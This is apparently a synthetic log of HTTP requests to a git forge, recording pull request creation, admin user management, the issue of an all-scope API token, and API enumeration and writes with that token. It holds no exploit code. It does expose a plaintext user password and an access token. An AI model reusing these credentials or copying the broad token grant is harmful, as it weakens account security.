{"method": "GET", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=890deb73026afc5f; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 764", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaGATihSdXZHYz0ae", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nMove to python3\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nPorts the scripts.\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"redirect_after_creation\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae--\r\n"}
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 37", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fpulls%2F2"}
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/2/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/pull-request-merge-form.08cfd3a0.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/pull-request-merge-form.8413f096.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/2/commits", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/2/files", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/diff-commit-selector.17df8f29.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/diff-commit-selector.302a470f.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "POST", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "name=alice&full_name=Alice+Example&pronouns=&biography=Writes+build+tools.&website=https%3A%2F%2Fexample.com&location=Springfield&visibility=0"}
{"method": "POST", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 185", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&login_type=0-0&visibility=0&login_name=&user_name=carol&email=carol%40example.com&password=Qe5-tVb7-Mn3c-Kj8y&must_change_password=on"}
{"method": "GET", "target": "/admin/users/4", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2B%2522carol%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
{"method": "GET", "target": "/avatars/d4766e3f21c67b7c786f012d910fa54f?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/4", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "POST", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 265", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&user_name=bob&login_type=0-0&visibility=0&login_name=&full_name=Bob+Example&pronouns=&email=bob%40example.com&password=&language=en-US&website=&location=&max_repo_creation=-1&active=on&allow_create_organization=on"}
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2Bhas%2Bbeen%2Bupdated."], "body": ""}
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 241", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=34fdf904aa90270d; lang=en-US"], "body": "name=build-token&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 254", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US"], "body": "name=build-token&resource=all&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US; flash=info%3D518efde244d57864ef12487cdec73aa828e5deaf%26success%3DYour%2Bnew%2Btoken%2Bhas%2Bbeen%2Bgenerated.%2BCopy%2Bit%2Bnow%2Bas%2Bit%2Bwill%2Bnot%2Bbe%2Bshown%2Bagain."], "body": ""}
{"method": "GET", "target": "/api/v1/version", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/user", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/settings/api", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=all&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches/python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/tags", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/scripts/install-script.sh?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/raw/bin/docker-entrypoint", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/media/src/process.env.d.ts", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?path=scripts/install-script.sh&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?sha=python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/git/trees/main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/collaborators", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/hooks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/orgs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/users/alice/repos", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/notifications", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "POST", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 68"], "body": "{\"name\":\"bug\",\"color\":\"#ee0701\",\"description\":\"Something is broken\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 83"], "body": "{\"title\":\"Document the python3 setup\",\"body\":\"Say which version the scripts need.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/comments", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 40"], "body": "{\"body\":\"The setup notes cover it now.\"}"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/issues/3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 18"], "body": "{\"state\":\"closed\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------c8PTgaGzJM0bzMXgzs4jFA"], "body": "--------------------------c8PTgaGzJM0bzMXgzs4jFA\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------c8PTgaGzJM0bzMXgzs4jFA--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets?name=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------8vBtFvaNGea9428ByqN6zh"], "body": "--------------------------8vBtFvaNGea9428ByqN6zh\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------8vBtFvaNGea9428ByqN6zh--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 69"], "body": "{\"tag_name\":\"v1.2.0\",\"name\":\"Version 1.2.0\",\"body\":\"Smaller images.\"}"}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases/tags/v1.2.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets?name=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------a8C2mRAVkCsfebNVoTuH9d"], "body": "--------------------------a8C2mRAVkCsfebNVoTuH9d\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------a8C2mRAVkCsfebNVoTuH9d--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------bwR0eGsF72IMLlKpnzjarK"], "body": "--------------------------bwR0eGsF72IMLlKpnzjarK\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------bwR0eGsF72IMLlKpnzjarK--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 100"], "body": "{\"content\":\"V3JpdGUtSG9zdCAiYnVpbGQiCg==\",\"message\":\"Add a PowerShell build script\",\"branch\":\"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 59"], "body": "{\"new_branch_name\":\"python3-docs\",\"old_branch_name\":\"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 96"], "body": "{\"title\":\"Add Dockerfile\",\"head\":\"feat/docker-support\",\"base\":\"main\",\"body\":\"Builds the image.\"}"}
